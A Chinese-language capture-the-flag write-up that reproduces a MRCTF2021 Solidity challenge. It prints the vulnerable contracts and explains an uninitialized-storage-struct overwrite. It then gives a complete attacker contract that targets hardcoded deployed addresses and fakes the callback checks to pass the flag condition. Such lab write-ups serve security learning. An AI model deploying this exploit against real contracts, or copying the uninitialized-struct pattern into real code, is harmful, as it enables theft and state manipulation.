前言
昨天前天遇到的區塊鏈題目有有些遠超我目前的能力范圍了,因此做的非常難受,決定先扔了,循序漸進,不好高騖遠,突然想到MRCTF2021的那2道區塊鏈自己還沒有去復現,昨天想著去復現,今天發現MRCTF的站關了,,,利用著大師傅的WP上面的記錄,找到了目標合約,進行復現,不過這題本身是沒有給原始碼的,是需要逆向的,奈何我原始碼都讀了幾遍了才知道,,,沒辦法就直接拿著原始碼來復現叭,這題的難點其實還是逆向,直接看原始碼的話就會簡單許多,
WP
原始碼:
pragma solidity ^0.4.17;
interface merak {
function Merak(uint) view public returns (bool);
}
contract unlock{
uint win;
address owner;
bool public winned;
constructor() payable {
owner = msg.sender;
winned = false;
}
function getaddress()public returns(address) {
return address(this);
}
}
contract flag { // first contract
address public owner;
mapping(uint256=>bool) is_successful;
constructor() payable {
owner = msg.sender;
}
function getaddress() public returns(address) {
return address(this);
}
function getflag() public payable {
challenge A = challenge(owner);
require(A.gettingflag());
is_successful[uint256(challenge(owner).tt())] = true;
}
}
contract ez{
uint win;
address public owner;
bool public success;
constructor() payable {
owner=msg.sender;
}
function getaddress() public returns(address) {
return address(this);
}
function betting(uint ss) public payable {
address target = challenge(owner).tt(); // set tt to hacker address
merak hack = merak(target);
if(!hack.Merak(ss)){ // 123 returns 0
win = ss;
success = hack.Merak(win); // 123 return 1
}
}
}
contract challenge{
address public target1; // 0 a -> control
address public target2; // 1
uint256 length; // 2 c -> control
address public tt; // 3
bytes32[] public a; // 4
uint256 meiyong; // 5
address public target3; // cannot overload
unlock A;
flag B;
ez C;
struct edge {
uint256 loginid; // 0
uint256 time; // 1
uint256 maybe; // 2
uint256 val; // 3
address logined; // 4
}
constructor() payable {
A=(new unlock).value(0.0001 ether)();
B=(new flag).value(0.0001 ether)();
C=(new ez).value(0.0001 ether)();
target1=address(A);
target2=address(B);
target3=address(C);
}
function login(uint256 a, uint256 c) public payable { // call login to overwrite target1
edge temp;
temp.loginid = a;
temp.time = now%1000;
temp.maybe = c;
temp.val = msg.value;
temp.logined = msg.sender;
tt = msg.sender;
}
function getaddress()public {
target1=A.getaddress();
target2=B.getaddress();
target3=C.getaddress();
}
function pop() public {
require(msg.value==0.1 ether);
length--;
for(uint256 i=0; i<=length; i++)
a[i]=a[i+1];
msg.sender.call.value(msg.value)();
require(length>=0);
}
function push(bytes32 num) public {
length++;
require(msg.value==0.1 ether);
msg.sender.transfer(msg.value);
for(uint256 i=length; i>=1; i--) {
a[i]=a[i-1];
}
a[0]=num;
}
function revise(bytes32 tt,uint256 len)public {
require(len<=length, "not enough");
a[len]=tt;
}
function gettingflag() public returns(bool) {
ez(target3).betting(123);
if (ez(target3).success() == true && unlock(target1).winned() == true)
return true;
else
return false;
}
}
一共四個合約,當時題目放出的是flag合約的地址,先把原始碼認真審幾遍,理清楚代碼的整體意圖,想要獲得flag,需要這樣:
function getflag() public payable {
challenge A = challenge(owner);
require(A.gettingflag());
is_successful[uint256(challenge(owner).tt())] = true;
}
看一下gettingflag():
function gettingflag() public returns(bool) {
ez(target3).betting(123);
if (ez(target3).success() == true && unlock(target1).winned() == true)
return true;
else
return false;
}
暫時放一下,看一下challenge,首先就是這里很明顯的未初始化的結構體,可以覆寫:
function login(uint256 a, uint256 c) public payable {
//未初始化的結構體,從slot0開始覆寫
edge temp;
//target1由a控制
temp.loginid = a;
temp.time = now%1000;
//uint256 length由c控制
temp.maybe = c;
//address public tt由msg.value控制
temp.val = msg.value;
//bytes32[] public a的長度由msg.sender決定,這會變得很長,
temp.logined = msg.sender;
//tt本來由msg.value覆寫,現在又被msg.sender覆寫,
tt = msg.sender;
}
target1是我們可控的,可以控制為我們自己構造的一個惡意合約,在gettingflag()函式的這里:unlock(target1).winned() == true,可以非常輕松的滿足,
再看一下這里:
ez(target3).betting(123);
if (ez(target3).success() == true
function betting(uint ss) public payable {
//address public tt;
address target = challenge(owner).tt();
//
merak hack = merak(target);
if(!hack.Merak(ss)){
win = ss;
success = hack.Merak(win);
}
}
這個merak合約來自challenge的tt,同樣會收到上面那個覆寫的影響:
tt = msg.sender;
因此在攻擊合約里寫一個Merak函式即可,第一次回傳false,第二次回傳true,
理清了,直接攻擊即可:
pragma solidity ^0.4.17;
contract unlock{
bool public winned = true;
}
interface challenge{
function login(uint256 a, uint256 c) external payable ;
function getaddress() external ;
function pop() external ;
function push(bytes32 num) external ;
function revise(bytes32 tt,uint256 len) external ;
function gettingflag() external returns(bool) ;
}
interface flag {
function getflag() external payable ;
}
contract Feng {
bytes32 public location = keccak256(abi.encodePacked(uint(this), uint(1)));
challenge constant private target = challenge(0xDb8d039189547D4a7766912503d101FEE7bb1c7f);
unlock public c1 = new unlock();
uint256 public a = uint256(address(c1));
flag constant private flagTarget = flag(0x47b9bdCFFCC6bb1851442E5e9dacCBE6F84C1841);
bool public merakFlag = false;
function Merak(uint) view public returns (bool){
if(merakFlag == true) return true;
merakFlag = true;
return false;
}
function attack() public {
target.login(a,2**256-1);
flagTarget.getflag();
}
}
這個location是計算了flag合約中mapping(uint256=>bool) is_successful;,我們的惡意合約在storage中存盤的位置,攻擊之后如果不確定,可以再利用web3.js來查看一下這個量,看看是不是true:

轉載請註明出處,本文鏈接:https://www.uj5u.com/qukuanlian/278914.html
標籤:區塊鏈
上一篇:Secure8安裝程序
下一篇:282-Go語言的作業區
